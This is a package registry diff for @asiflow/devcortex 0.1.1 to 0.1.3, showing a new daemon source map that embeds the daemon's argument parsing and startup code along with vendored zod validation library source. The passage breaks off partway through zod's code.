@asiflow/devcortex 0.1.1 → 0.1.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +90 -6
- package/dist/cli.js.map +1 -1
- package/dist/daemon.js +10816 -0
- package/dist/daemon.js.map +1 -0
- package/dist/dashboard/assets/index-B-tRqNIJ.css +1 -0
- package/dist/dashboard/assets/index-CwfdsV2P.js +53 -0
- package/dist/dashboard/assets/index-CwfdsV2P.js.map +1 -0
- package/dist/dashboard/index.html +20 -0
- package/package.json +5 -5
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../../daemon/src/main.ts","../../../node_modules/.pnpm/zod@3.25.76/node_modules/zod/v3/external.js","../../../node_modules/.pnpm/zod@3.25.76/node_modules/zod/v3/helpers/util.js","../../../node_modules/.pnpm/zod@3.25.76/node_modules/zod/v3/ZodError.js","../../../node_modules/.pnpm/zod@3.25.76/node_modules/zod/v3/locales/en.js","../../../node_modules/.pnpm/zod@3.25.76/node_modules/zod/v3/errors.js","../../../node_modules/.pnpm/zod@3.25.76/node_modules/zod/v3/helpers/parseUtil.js","../../../node_modules/.pnpm/zod@3.25.76/node_modules/zod/v3/helpers/errorUtil.js","../../../node_modules/.pnpm/zod@3.25.76/node_modules/zod/v3/types.js","../../../packages/core/src/domain/types.ts","../../../packages/core/src/domain/errors.ts","../../../packages/core/src/domain/schemas.ts","../../../packages/core/src/domain/skills.ts","../../../packages/core/src/domain/workflows.ts","../../../packages/core/src/domain/runs.ts","../../../packages/core/src/domain/council.ts","../../../packages/core/src/domain/learning.ts","../../../packages/core/src/domain/gates-ext.ts","../../../packages/core/src/domain/mcp.ts","../../../packages/core/src/domain/firewall.ts","../../../packages/core/src/domain/redaction.ts","../../../packages/core/src/workspace/paths.ts","../../../packages/core/src/workspace/config.ts","../../../packages/core/src/workspace/graph-store.ts","../../../packages/core/src/workspace/init.ts","../../../packages/core/src/graph/scan.ts","../../../packages/core/src/graph/detect.ts","../../../packages/core/src/graph/classify.ts","../../../packages/core/src/graph/imports.ts","../../../packages/core/src/graph/routes.ts","../../../packages/core/src/graph/env.ts","../../../packages/core/src/graph/relevance.ts","../../../packages/core/src/workspace/docs.ts","../../../packages/core/src/ledgers/json-ledger.ts","../../../packages/core/src/ledgers/memory-ledger.ts","../../../packages/core/src/ledgers/feature-ledger.ts","../../../packages/core/src/ledgers/decision-ledger.ts","../../../packages/core/src/ledgers/evidence-ledger.ts","../../../packages/core/src/policy/protected.ts","../../../packages/core/src/policy/risk-order.ts","../../../packages/core/src/policy/classify.ts","../../../packages/core/src/policy/depth.ts","../../../packages/core/src/policy/mode.ts","../../../packages/core/src/stackpacks/index.ts","../../../packages/core/src/stackpacks/nextjs.ts","../../../packages/core/src/stackpacks/react.ts","../../../packages/core/src/stackpacks/typescript.ts","../../../packages/core/src/stackpacks/tailwind.ts","../../../packages/core/src/stackpacks/shadcn.ts","../../../packages/core/src/stackpacks/node.ts","../../../packages/core/src/stackpacks/supabase.ts","../../../packages/core/src/stackpacks/prisma.ts","../../../packages/core/src/stackpacks/stripe.ts","../../../packages/core/src/stackpacks/vercel.ts","../../../packages/core/src/stackpacks/fastapi.ts","../../../packages/core/src/stackpacks/postgres.ts","../../../packages/core/src/stackpacks/docker.ts","../../../packages/core/src/stackpacks/kubernetes.ts","../../../packages/core/src/stackpacks/github-actions.ts","../../../packages/core/src/blast-radius/analyze.ts","../../../packages/core/src/compilers/intent.ts","../../../packages/core/src/compilers/context.ts","../../../packages/core/src/evidence/verifiers.ts","../../../packages/core/src/evidence/block.ts","../../../packages/core/src/gates/gates.ts","../../../packages/core/src/gates/ui.ts","../../../packages/core/src/gates/security.ts","../../../packages/core/src/gates/devops.ts","../../../packages/core/src/gates/commander.ts","../../../packages/core/src/gates/product.ts","../../../packages/core/src/gates/premium-ui.ts","../../../packages/core/src/skills/validation.ts","../../../packages/core/src/skills/built-in.ts","../../../packages/core/src/skills/skill-store.ts","../../../packages/core/src/skills/skills.ts","../../../packages/core/src/workflows/definitions.ts","../../../packages/core/src/workflows/select.ts","../../../packages/core/src/workflows/run.ts","../../../packages/core/src/runs/runs.ts","../../../packages/core/src/council/convene.ts","../../../packages/core/src/council/review.ts","../../../packages/core/src/learning/diagnose.ts","../../../packages/core/src/learning/signature.ts","../../../packages/core/src/learning/analyze.ts","../../../packages/core/src/learning/learn.ts","../../../packages/core/src/learning/known-failure-store.ts","../../../packages/core/src/redaction/redact.ts","../../../packages/core/src/redaction/outbound.ts","../../../packages/core/src/mcp-firewall/firewall.ts","../../../packages/core/src/mcp-manager/catalog.ts","../../../packages/core/src/mcp-manager/recommend.ts","../../../packages/core/src/mcp-manager/host-config.ts","../../../packages/core/src/mcp-manager/store.ts","../../../packages/core/src/mcp-manager/manager.ts","../../daemon/src/index.ts","../../daemon/src/fs-utils.ts","../../daemon/src/errors.ts","../../daemon/src/ship-reports.ts","../../daemon/src/api.ts","../../daemon/src/static-server.ts","../../daemon/src/version.ts","../../daemon/src/watcher.ts"],"sourcesContent":["/**\n * `devcortex-daemon` executable — parses args, starts the daemon, writes a\n * best-effort pidfile under `.cortex/cache/`, and shuts down cleanly on\n * SIGINT/SIGTERM. (The Node shebang is added by the tsup banner at build time,\n * so both the daemon's own dist and the CLI's bundled copy get exactly one.)\n *\n * Usage: devcortex-daemon [--root <dir>] [--port <n>]\n * --root repo to watch/serve (default: cwd)\n * --port TCP port on 127.0.0.1 (default: $DEVCORTEX_DAEMON_PORT or 7420)\n */\nimport { mkdir, rm, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { workspacePaths } from '@devcortex/core';\n\nimport { DEFAULT_DAEMON_PORT, startDaemon } from './index';\n\ninterface Args {\n root: string;\n port: number;\n}\n\nfunction parseArgs(argv: string[]): Args {\n let root = process.cwd();\n const envPort = process.env.DEVCORTEX_DAEMON_PORT;\n let port = envPort !== undefined ? Number(envPort) : DEFAULT_DAEMON_PORT;\n\n for (let i = 0; i < argv.length; i += 1) {\n const arg = argv[i];\n if (arg === undefined) continue;\n if (arg === '--root') {\n const value = argv[i + 1];\n if (value !== undefined) {\n root = value;\n i += 1;\n }\n } else if (arg.startsWith('--root=')) {\n root = arg.slice('--root='.length);\n } else if (arg === '--port') {\n const value = argv[i + 1];\n if (value !== undefined) {\n port = Number(value);\n i += 1;\n }\n } else if (arg.startsWith('--port=')) {\n port = Number(arg.slice('--port='.length));\n }\n }\n\n if (!Number.isInteger(port) || port < 0 || port > 65535) port = DEFAULT_DAEMON_PORT;\n return { root: path.resolve(root), port };\n}\n\nasync function main(): Promise<void> {\n const { root, port } = parseArgs(process.argv.slice(2));\n const handle = await startDaemon(root, { port });\n\n const pidfile = path.join(workspacePaths(root).cacheDir, 'daemon.pid');\n try {\n await mkdir(path.dirname(pidfile), { recursive: true });\n await writeFile(\n pidfile,\n JSON.stringify({ pid: process.pid, port: handle.port, url: handle.url, root }, null, 2),\n 'utf8',\n );\n } catch {\n // pidfile is best-effort; the daemon runs regardless.\n }\n\n process.stdout.write(\n `DevCortex daemon listening at ${handle.url}\\n` +\n ` root: ${root}\\n` +\n ` dashboard: ${handle.url}/\\n` +\n ` API: ${handle.url}/api/health\\n`,\n );\n\n let shuttingDown = false;\n const shutdown = (signal: string): void => {\n if (shuttingDown) return;\n shuttingDown = true;\n process.stdout.write(`\\nDevCortex daemon shutting down (${signal})...\\n`);\n void handle\n .close()\n .catch(() => undefined)\n .finally(() => {\n void rm(pidfile, { force: true })\n .catch(() => undefined)\n .finally(() => process.exit(0));\n });\n };\n\n process.on('SIGINT', () => shutdown('SIGINT'));\n process.on('SIGTERM', () => shutdown('SIGTERM'));\n}\n\nmain().catch((err: unknown) => {\n process.stderr.write(\n `devcortex-daemon failed to start: ${err instanceof Error ? err.message : String(err)}\\n`,\n );\n process.exit(1);\n});\n","export * from \"./errors.js\";\nexport * from \"./helpers/parseUtil.js\";\nexport * from \"./helpers/typeAliases.js\";\nexport * from \"./helpers/util.js\";\nexport * from \"./types.js\";\nexport * from \"./ZodError.js\";\n","export var util;\n(function (util) {\n util.assertEqual = (_) => { };\n function assertIs(_arg) { }\n util.assertIs = assertIs;\n function assertNever(_x) {\n throw new Error();\n }\n util.assertNever = assertNever;\n util.arrayToEnum = (items) => {\n const obj = {};\n for (const item of items) {\n obj[item] = item;\n }\n return obj;\n };\n util.getValidEnumValues = (obj) => {\n const validKeys = util.objectKeys(obj).filter((k) => typeof obj[obj[k]] !== \"number\");\n const filtered = {};\n for (const k of validKeys) {\n filtered[k] = obj[k];\n }\n return util.objectValues(filtered);\n };\n util.objectValues = (obj) => {\n return util.objectKeys(obj).map(function (e) {\n return obj[e];\n });\n };\n util.objectKeys = typeof Object.keys === \"function\" // eslint-disable-line ban/ban\n ? (obj) => Object.keys(obj) // eslint-disable-line ban/ban\n : (object) => {\n const keys = [];\n for (const key in object) {\n if (Object.prototype.hasOwnProperty.call(object, key)) {\n keys.push(key);\n }\n }\n return keys;\n };\n util.find = (arr, checker) => {\n for (const item of arr) {\n if (checker(item))\n return item;\n }\n return undefined;\n };\n util.isInteger = typeof Number.isInteger === \"function\"\n ? (val) => Number.isInteger(val) // eslint-disable-line ban/ban\n : (val) => typeof val === \"number\" && Number.isFinite(val) && Math.floor(val) === val;\n function joinValues(array, separator = \" | \") {\n return array.map((val) => (typeof val === \"string\" ? `'${val}'` : val)).join(separator);\n }\n util.joinValues = joinValues;\n util.jsonStringifyReplacer = (_, value) => {\n if (typeof value === \"bigint\") {\n return value.toString();\n }\n return value;\n };\n})(util || (util = {}));\nexport var objectUtil;\n(function (objectUtil) {\n objectUtil.mergeShapes = (first, second) => {\n return {\n ...first,\n ...second, // second overwrites first\n };\n };\n})(objectUtil || (objectUtil = {}));\nexport const ZodParsedType = util.arrayToEnum([\n \"string\",\n \"nan\",\n \"number\",\n \"integer\",\n \"float\",\n \"boolean\",\n \"date\",\n \"bigint\",\n \"symbol\",\n \"function\",\n \"undefined\",\n \"null\",\n \"array\",\n \"object\",\n \"unknown\",\n \"promise\",\n \"void\",\n \"never\",\n \"map\",\n \"set\",\n]);\nexport const getParsedType = (data) => {\n const t = typeof data;\n switch (t) {\n case \"undefined\":\n return ZodParsedType.undefined;\n case \"string\":\n return ZodParsedType.string;\n case \"number\":\n return Number.isNaN(data) ? ZodParsedType.nan : ZodParsedType.number;\n case \"boolean\":\n return ZodParsedType.boolean;\n case \"function\":\n return ZodParsedType.function;\n case \"bigint\":\n return ZodParsedType.bigint;\n case \"symbol\":\n return ZodParsedType.symbol;\n case \"object\":\n if (Array.isArray(data)) {\n return ZodParsedType.array;\n }\n if (data === null) {\n return ZodParsedType.null;\n }\n if (data.then && typeof data.then === \"function\" && data.catch && typeof data.catch === \"function\") {\n return ZodParsedType.promise;\n }\n if (typeof Map !== \"undefined\" && data instanceof Map) {\n return ZodParsedType.map;\n }\n if (typeof Set !== \"undefined\" && data instanceof Set) {\n return ZodParsedType.set;\n }\n if (typeof Date !== \"undefined\" && data instanceof Date) {\n return ZodParsedType.date;\n }\n return ZodParsedType.object;\n default:\n return ZodParsedType.unknown;\n }\n};\n","import { util } from \"./helpers/util.js\";\nexport const ZodIssueCode = util.arrayToEnum([\n \"invalid_type\",\n \"invalid_literal\",\n \"custom\",\n \"invalid_union\",\n \"invalid_union_discriminator\",\n \"invalid_enum_value\",\n \"unrecognized_keys\",\n \"invalid_arguments\",\n \"invalid_return_type\",\n \"invalid_date\",\n \"invalid_string\",\n \"too_small\",\n \"too_big\",\n \"invalid_intersection_types\",\n \"not_multiple_of\",\n \"not_finite\",\n]);\nexport const quotelessJson = (obj) => {\n const json = JSON.stringify(obj, null, 2);\n return json.replace(/\"([^\"]+)\":/g, \"$1:\");\n};\nexport class ZodError extends Error {\n get errors() {\n return this.issues;\n }\n constructor(issues) {\n super();\n this.issues = [];\n this.addIssue = (sub) => {\n this.issues = [...this.issues, sub];\n };\n this.addIssues = (subs = []) => {\n this.issues = [...this.issues, ...subs];\n };\n const actualProto = new.target.prototype;\n if (Object.setPrototypeOf) {\n // eslint-disable-next-line ban/ban\n Object.setPrototypeOf(this, actualProto);\n }\n else {\n this.__proto__ = actualProto;\n }\n this.name = \"ZodError\";\n this.issues = issues;\n }\n format(_mapper) {\n const mapper = _mapper ||\n function (issue) {\n return issue.message;\n };\n const fieldErrors = { _errors: [] };\n const processError = (error) => {\n for (const issue of error.issues) {\n if (issue.code === \"invalid_union\") {\n issue.unionErrors.map(processError);\n }\n else if (issue.code === \"invalid_return_type\") {\n processError(issue.returnTypeError);\n }\n else if (issue.code === \"invalid_arguments\") {\n processError(issue.argumentsError);\n }\n else if (issue.path.length === 0) {\n fieldErrors._errors.push(mapper(issue));\n }\n else {\n let curr = fieldErrors;\n let i = 0;\n while (i < issue.path.length) {\n const el = issue.path[i];\n const terminal = i === issue.path.length - 1;\n if (!terminal) {\n curr[el] = curr[el] || { _errors: [] };\n // if (typeof el === \"string\") {\n // curr[el] = curr[el] || { _errors: [] };\n // } else if (typeof el === \"number\") {\n // const errorArray: any = [];\n // errorArray._errors = [];\n // curr[el] = curr[el] || errorArray;\n // }\n }\n else {\n curr[el] = curr[el] || { _errors: [] };\n curr[el]._errors.push(mapper(issue));\n }\n curr = curr[el];\n i++;\n }\n }\n }\n };\n processError(this);\n return fieldErrors;\n }\n static assert(value) {\n if (!(value instanceof ZodError)) {\n throw new Error(`Not a ZodError: ${value}`);\n }\n }\n toString() {\n return this.message;\n }\n get message() {\n return JSON.stringify(this.issues, util.jsonStringifyReplacer, 2);\n }\n get isEmpty() {\n return this.issues.length === 0;\n }\n flatten(mapper = (issue) => issue.message) {\n const fieldErrors = {};\n const formErrors = [];\n for (const sub of this.issues) {\n if (sub.path.length > 0) {\n const firstEl = sub.path[0];\n fieldErrors[firstEl] = fieldErrors[firstEl] || [];\n fieldErrors[firstEl].push(mapper(sub));\n }\n else {\n formErrors.push(mapper(sub));\n }\n }\n return { formErrors, fieldErrors };\n }\n get formErrors() {\n return this.flatten();\n }\n}\nZodError.create = (issues) => {\n const error = new ZodError(issues);\n return error;\n};\n","import { ZodIssueCode } from \"../ZodError.js\";\nimport { util, ZodParsedType } from \"../helpers/util.js\";\nconst errorMap = (issue, _ctx) => {\n let message;\n switch (issue.code) {\n case ZodIssueCode.invalid_type:\n if (issue.received === ZodParsedType.undefined) {\n message = \"Required\";\n }\n else {\n message = `Expected ${issue.expected}, received ${issue.received}`;\n }\n break;\n case ZodIssueCode.invalid_literal:\n message = `Invalid literal value, expected ${JSON.stringify(issue.expected, util.jsonStringifyReplacer)}`;\n break;\n case ZodIssueCode.unrecognized_keys:\n message = `Unrecognized key(s) in object: ${util.joinValues(issue.keys, \", \")}`;\n break;\n case ZodIssueCode.invalid_union:\n message = `Invalid input`;\n break;\n case ZodIssueCode.invalid_union_discriminator:\n message = `Invalid discriminator value. Expected ${util.joinValues(issue.options)}`;\n break;\n case ZodIssueCode.invalid_enum_value:\n message = `Invalid enum value. Expected ${util.joinValues(issue.options)}, received '${issue.received}'`;\n break;\n case ZodIssueCode.invalid_arguments:\n message = `Invalid function arguments`;\n break;\n case ZodIssueCode.invalid_return_type:\n message = `Invalid function return type`;\n break;\n case ZodIssueCode.invalid_date:\n message = `Invalid date`;\n break;\n case ZodIssueCode.invalid_string:\n if (typeof issue.validation === \"object\") {\n if (\"includes\" in issue.validation) {\n message = `Invalid input: must include \"${issue.validation.includes}\"`;\n if (typeof issue.validation.position === \"number\") {\n message = `${message} at one or more positions greater than or equal to ${issue.validation.position}`;\n }\n }\n else if (\"startsWith\" in issue.validation) {\n message = `Invalid input: must start with \"${issue.validation.startsWith}\"`;\n }\n else if (\"endsWith\" in issue.validation) {\n message = `Invalid input: must end with \"${issue.validation.endsWith}\"`;\n }\n else {\n util.assertNever(issue.validation);\n }\n }\n else if (issue.validation !== \"regex\") {\n message = `Invalid ${issue.validation}`;\n }\n else {\n message = \"Invalid\";\n }\n break;\n case ZodIssueCode.too_small:\n if (issue.type === \"array\")\n message = `Array must contain ${issue.exact ? \"exactly\" : issue.inclusive ? `at least` : `more than`} ${issue.minimum} element(s)`;\n else if (issue.type === \"string\")\n message = `String must contain ${issue.exact ? \"exactly\" : issue.inclusive ? `at least` : `over`} ${issue.minimum} character(s)`;\n else if (issue.type === \"number\")\n message = `Number must be ${issue.exact ? `exactly equal to ` : issue.inclusive ? `greater than or equal to ` : `greater than `}${issue.minimum}`;\n else if (issue.type === \"bigint\")\n message = `Number must be ${issue.exact ? `exactly equal to ` : issue.inclusive ? `greater than or equal to ` : `greater than `}${issue.minimum}`;\n else if (issue.type === \"date\")\n message = `Date must be ${issue.exact ? `exactly equal to ` : issue.inclusive ? `greater than or equal to ` : `greater than `}${new Date(Number(issue.minimum))}`;\n else\n message = \"Invalid input\";\n break;\n case ZodIssueCode.too_big:\n if (issue.type === \"array\")\n message = `Array must contain ${issue.exact ? `exactly` : issue.inclusive ? `at most` : `less than`} ${issue.maximum} element(s)`;\n else if (issue.type === \"string\")\n message = `String must contain ${issue.exact ? `exactly` : issue.inclusive ? `at most` : `under`} ${issue.maximum} character(s)`;\n else if (issue.type === \"number\")\n message = `Number must be ${issue.exact ? `exactly` : issue.inclusive ? `less than or equal to` : `less than`} ${issue.maximum}`;\n else if (issue.type === \"bigint\")\n message = `BigInt must be ${issue.exact ? `exactly` : issue.inclusive ? `less than or equal to` : `less than`} ${issue.maximum}`;\n else if (issue.type === \"date\")\n message = `Date must be ${issue.exact ? `exactly` : issue.inclusive ? `smaller than or equal to` : `smaller than`} ${new Date(Number(issue.maximum))}`;\n else\n message = \"Invalid input\";\n break;\n case ZodIssueCode.custom:\n message = `Invalid input`;\n break;\n case ZodIssueCode.invalid_intersection_types:\n message = `Intersection results could not be merged`;\n break;\n case ZodIssueCode.not_multiple_of:\n message = `Number must be a multiple of ${issue.multipleOf}`;\n break;\n case ZodIssueCode.not_finite:\n message = \"Number must be finite\";\n break;\n default:\n message = _ctx.defaultError;\n util.assertNever(issue);\n }\n return { message };\n};\nexport default errorMap;\n","import defaultErrorMap from \"./locales/en.js\";\nlet overrideErrorMap = defaultErrorMap;\nexport { defaultErrorMap };\nexport function setErrorMap(map) {\n overrideErrorMap = map;\n}\nexport function getErrorMap() {\n return overrideErrorMap;\n}\n","import { getErrorMap } from \"../errors.js\";\nimport defaultErrorMap from \"../locales/en.js\";\nexport const makeIssue = (params) => {\n const { data, path, errorMaps, issueData } = params;\n const fullPath = [...path, ...(issueData.path || [])];\n const fullIssue = {\n ...issueData,\n path: fullPath,\n };\n if (issueData.message !== undefined) {\n return {\n ...issueData,\n path: fullPath,\n message: issueData.message,\n };\n }\n let errorMessage = \"\";\n const maps = errorMaps\n .filter((m) => !!m)\n .slice()\n .reverse();\n for (const map of maps) {\n errorMessage = map(fullIssue, { data, defaultError: errorMessage }).message;\n }\n return {\n ...issueData,\n path: fullPath,\n message: errorMessage,\n };\n};\nexport const EMPTY_PATH = [];\nexport function addIssueToContext(ctx, issueData) {\n const overrideMap = getErrorMap();\n const issue = makeIssue({\n issueData: issueData,\n data: ctx.data,\n path: ctx.path,\n errorMaps: [\n ctx.common.contextualErrorMap, // contextual error map is first priority\n ctx.schemaErrorMap, // then schema-bound map if available\n overrideMap, // then global override map\n overrideMap === defaultErrorMap ? undefined : defaultErrorMap, // then global default map\n ].filter((x) => !!x),\n });\n ctx.common.issues.push(issue);\n}\nexport class ParseStatus {\n constructor() {\n this.value = \"valid\";\n }\n dirty() {\n if (this.value === \"valid\")\n this.value = \"dirty\";\n }\n abort() {\n if (this.value !== \"aborted\")\n this.value = \"aborted\";\n }\n static mergeArray(status, results) {\n const arrayValue = [];\n for (const s of results) {\n if (s.status === \"aborted\")\n return INVALID;\n if (s.status === \"dirty\")\n status.dirty();\n arrayValue.push(s.value);\n }\n return { status: status.value, value: arrayValue };\n }\n static async mergeObjectAsync(status, pairs) {\n const syncPairs = [];\n for (const pair of pairs) {\n const key = await pair.key;\n const value = await pair.value;\n syncPairs.push({\n key,\n value,\n });\n }\n return ParseStatus.mergeObjectSync(status, syncPairs);\n }\n static mergeObjectSync(status, pairs) {\n const finalObject = {};\n for (const pair of pairs) {\n const { key, value } = pair;\n if (key.status === \"aborted\")\n return INVALID;\n if (value.status === \"aborted\")\n return INVALID;\n if (key.status === \"dirty\")\n status.dirty();\n if (value.status === \"dirty\")\n status.dirty();\n if (key.value !== \"__proto__\" && (typeof value.value !== \"undefined\" || pair.alwaysSet)) {\n finalObject[key.value] = value.value;\n }\n }\n return { status: status.value, value: finalObject };\n }\n}\nexport const INVALID = Object.freeze({\n status: \"aborted\",\n});\nexport const DIRTY = (value) => ({ status: \"dirty\", value });\nexport const OK = (value) => ({ status: \"valid\", value });\nexport const isAborted = (x) => x.status === \"aborted\";\nexport const isDirty = (x) => x.status === \"dirty\";\nexport const isValid = (x) => x.status === \"valid\";\nexport const isAsync = (x) => typeof Promise !== \"undefined\" && x instanceof Promise;\n","export var errorUtil;\n(function (errorUtil) {\n errorUtil.errToObj = (message) => typeof message === \"string\" ? { message } : message || {};\n // biome-ignore lint:\n errorUtil.toString = (message) => typeof message === \"string\" ? message : message?.message;\n})(errorUtil || (errorUtil = {}));\n","import { ZodError, ZodIssueCode, } from \"./ZodError.js\";\nimport { defaultErrorMap, getErrorMap } from \"./errors.js\";\nimport { errorUtil } from \"./helpers/errorUtil.js\";\nimport { DIRTY, INVALID, OK, ParseStatus, addIssueToContext, isAborted, isAsync, isDirty, isValid, makeIssue, } from \"./helpers/parseUtil.js\";\nimport { util, ZodParsedType, getParsedType } from \"./helpers/util.js\";\nclass ParseInputLazyPath {\n constructor(parent, value, path, key) {\n this._cachedPath = [];\n this.parent = parent;\n this.data = value;\n this._path = path;\n this._key = key;\n }\n get path() {\n if (!this._cachedPath.length) {\n if (Array.isArray(this._key)) {\n this._cachedPath.push(...this._path, ...this._key);\n }\n else {\n this._cachedPath.push(...this._path, this._key);\n }\n }\n return this._cachedPath;\n }\n}\nconst handleResult = (ctx, result) => {\n if (isValid(result)) {\n return { success: true, data: result.value };\n }\n else {\n if (!ctx.common.issues.length) {\n throw new Error(\"Validation failed but no issues detected.\");\n }\n return {\n success: false,\n get error() {\n if (this._error)\n return this._error;\n const error = new ZodError(ctx.common.issues);\n this._error = error;\n return this._error;\n },\n };\n }\n};\nfunction processCreateParams(params) {\n if (!params)\n return {};\n const { errorMap, invalid_type_error, required_error, description } = params;\n if (errorMap && (invalid_type_error || required_error)) {\n throw new Error(`Can't use \"invalid_type_error\" or \"required_error\" in conjunction with custom error map.`);\n }\n if (errorMap)\n return { errorMap: errorMap, description };\n const customMap = (iss, ctx) => {\n const { message } = params;\n if (iss.code === \"invalid_enum_value\") {\n return { message: message ?? ctx.defaultError };\n }\n if (typeof ctx.data === \"undefined\") {\n return { message: message ?? required_error ?? ctx.defaultError };\n }\n if (iss.code !== \"invalid_type\")\n return { message: ctx.defaultError };\n return { message: message ?? invalid_type_error ?? ctx.defaultError };\n };\n return { errorMap: customMap, description };\n}\nexport class ZodType {\n get description() {\n return this._def.description;\n }\n _getType(input) {\n return getParsedType(input.data);\n }\n _getOrReturnCtx(input, ctx) {\n return (ctx || {\n common: input.parent.common,\n data: input.data,\n parsedType: getParsedType(input.data),\n schemaErrorMap: this._def.errorMap,\n path: input.path,\n parent: input.parent,\n });\n }\n _processInputParams(input) {\n return {\n status: new ParseStatus(),\n ctx: {\n common: input.parent.common,\n data: input.data,\n parsedType: getParsedType(input.data),\n schemaErrorMap: this._def.errorMap,\n path: input.path,\n parent: input.parent,\n },\n };\n }\n _parseSync(input) {\n const result = this._parse(input);\n if (isAsync(result)) {\n throw new Error(\"Synchronous parse encountered promise.\");\n }\n return result;\n }\n _parseAsync(input) {\n const result = this._parse(input);\n return Promise.resolve(result);\n }\n parse(data, params) {\n const result = this.safeParse(data, params);\n if (result.success)\n return result.data;\n throw result.error;\n }\n safeParse(data, params) {\n const ctx = {\n common: {\n issues: [],\n async: params?.async ?? false,\n contextualErrorMap: params?.errorMap,\n },\n path: params?.path || [],\n schemaErrorMap: this._def.errorMap,\n parent: null,\n data,\n parsedType: getParsedType(data),\n };\n const result = this._parseSync({ data, path: ctx.path, parent: ctx });\n return handleResult(ctx, result);\n }\n \"~validate\"(data) {\n const ctx = {\n common: {\n issues: [],\n async: !!this[\"~standard\"].async,\n },\n path: [],\n schemaErrorMap: this._def.errorMap,\n parent: null,\n data,\n parsedType: getParsedType(data),\n };\n if (!this[\"~standard\"].async) {\n try {\n const result = this._parseSync({ data, path: [], parent: ctx });\n return isValid(result)\n ? {\n value: result.value,\n }\n : {\n issues: ctx.common.issues,\n };\n }\n catch (err) {\n if (err?.message?.toLowerCase()?.includes(\"encountered\")) {\n this[\"~standard\"].async = true;\n }\n ctx.common = {\n issues: [],\n async: true,\n };\n }\n }\n return this._parseAsync({ data, path: [], parent: ctx }).then((result) => isValid(result)\n ? {\n value: result.value,\n }\n : {\n issues: ctx.common.issues,\n });\n }\n async parseAsync(data, params) {\n const result = await this.safeParseAsync(data, params);\n if (result.success)\n return result.data;\n throw result.error;\n }\n async safeParseAsync(data, params) {\n const ctx = {\n common: {\n issues: [],\n contextualErrorMap: params?.errorMap,\n async: true,\n },\n path: params?.path || [],\n schemaErrorMap: this._def.errorMap,\n parent: null,\n data,\n parsedType: getParsedType(data),\n };\n const maybeAsyncResult = this._parse({ data, path: ctx.path, parent: ctx });\n const result = await (isAsync(maybeAsyncResult) ? maybeAsyncResult : Promise.resolve(maybeAsyncResult));\n return handleResult(ctx, result);\n }\n refine(check, message) {\n const getIssueProperties = (val) => {\n if (typeof message === \"string\" || typeof message === \"undefined\") {\n return { message };\n }\n else if (typeof message === \"function\") {\n return message(val);\n }\n else {\n return message;\n }\n };\n return this._refinement((val, ctx) => {\n const result = check(val);\n const setError = () => ctx.addIssue({\n code: ZodIssueCode.custom,\n ...getIssueProperties(val),\n });\n if (typeof Promise !== \"undefined\" && result instanceof Promise) {\n return result.then((data) => {\n if (!data) {\n setError();\n return false;\n }\n else {\n return true;\n }\n });\n }\n if (!result) {\n setError();\n return false;\n }\n else {\n return true;\n }\n });\n }\n refinement(check, refinementData) {\n return this._refinement((val, ctx) => {\n if (!check(val)) {\n ctx.addIssue(typeof refinementData === \"function\" ? refinementData(val, ctx) : refinementData);\n return false;\n }\n else {\n return true;\n }\n });\n }\n _refinement(refinement) {\n return new ZodEffects({\n schema: this,\n typeName: ZodFirstPartyTypeKind.ZodEffects,\n effect: { type: \"refinement\", refinement },\n });\n }\n superRefine(refinement) {\n return this._refinement(refinement);\n }\n constructor(def) {\n /** Alias of safeParseAsync */\n this.spa = this.safeParseAsync;\n this._def = def;\n this.parse = this.parse.bind(this);\n this.safeParse = this.safeParse.bind(this);\n this.parseAsync = this.parseAsync.bind(this);\n this.safeParseAsync = this.safeParseAsync.bind(this);\n this.spa = this.spa.bind(this);\n this.refine = this.refine.bind(this);\n this.refinement = this.refinement.bind(this);\n this.superRefine = this.superRefine.bind(this);\n this.optional = this.optional.bind(this);\n this.nullable = this.nullable.bind(this);\n this.nullish = this.nullish.bind(this);\n this.array = this.array.bind(this);\n this.promise = this.promise.bind(this);\n this.or = this.or.bind(this);\n this.and = this.and.bind(this);\n this.transform = this.transform.bind(this);\n this.brand = this.brand.bind(this);\n this.default = this.default.bind(this);\n this.catch = this.catch.bind(this);\n this.describe = this.describe.bind(this);\n this.pipe = this.pipe.bind(this);\n this.readonly = this.readonly.bind(this);\n this.isNullable = this.isNullable.bind(this);\n this.isOptional = this.isOptional.bind(this);\n this[\"~standard\"] = {\n version: 1,\n vendor: \"zod\",\n validate: (data) => this[\"~validate\"](data),\n };\n }\n optional() {\n return ZodOptional.create(this, this._def);\n }\n nullable() {\n return ZodNullable.create(this, this._def);\n }\n nullish() {\n return this.nullable().optional();\n }\n array() {\n return ZodArray.create(this);\n }\n promise() {\n return ZodPromise.create(this, this._def);\n }\n or(option) {\n return ZodUnion.create([this, option], this._def);\n }\n and(incoming) {\n return ZodIntersection.create(this, incoming, this._def);\n }\n transform(transform) {\n return new ZodEffects({\n ...processCreateParams(this._def),\n schema: this,\n typeName: ZodFirstPartyTypeKind.ZodEffects,\n effect: { type: \"transform\", transform },\n });\n }\n default(def) {\n const defaultValueFunc = typeof def === \"function\" ? def : () => def;\n return new ZodDefault({\n ...processCreateParams(this._def),\n innerType: this,\n defaultValue: defaultValueFunc,\n typeName: ZodFirstPartyTypeKind.ZodDefault,\n });\n }\n brand() {\n return new ZodBranded({\n typeName: ZodFirstPartyTypeKind.ZodBranded,\n type: this,\n ...processCreateParams(this._def),\n });\n }\n catch(def) {\n const catchValueFunc = typeof def === \"function\" ? def : () => def;\n return new ZodCatch({\n ...processCreateParams(this._def),\n innerType: this,\n catchValue: catchValueFunc,\n typeName: ZodFirstPartyTypeKind.ZodCatch,\n });\n }\n describe(description) {\n const This = this.constructor;\n return new This({\n ...this._def,\n description,\n });\n }\n pipe(target) {\n return ZodPipeline.create(this, target);\n }\n readonly() {\n return ZodReadonly.create(this);\n }\n isOptional() {\n return this.safeParse(undefined).success;\n }\n isNullable() {\n return this.safeParse(null).success;\n }\n}\nconst cuidRegex = /^c[^\\s-]{8,}$/i;\nconst cuid2Regex = /^[0-9a-z]+$/;\nconst ulidRegex = /^[0-9A-HJKMNP-TV-Z]{26}$/i;\n// const uuidRegex =\n// /^([a-f0-9]{8}-[a-f0-9]{4}-[1-5][a-f0-9]{3}-[a-f0-9]{4}-[a-f0-9]{12}|00000000-0000-0000-0000-000000000000)$/i;\nconst uuidRegex = 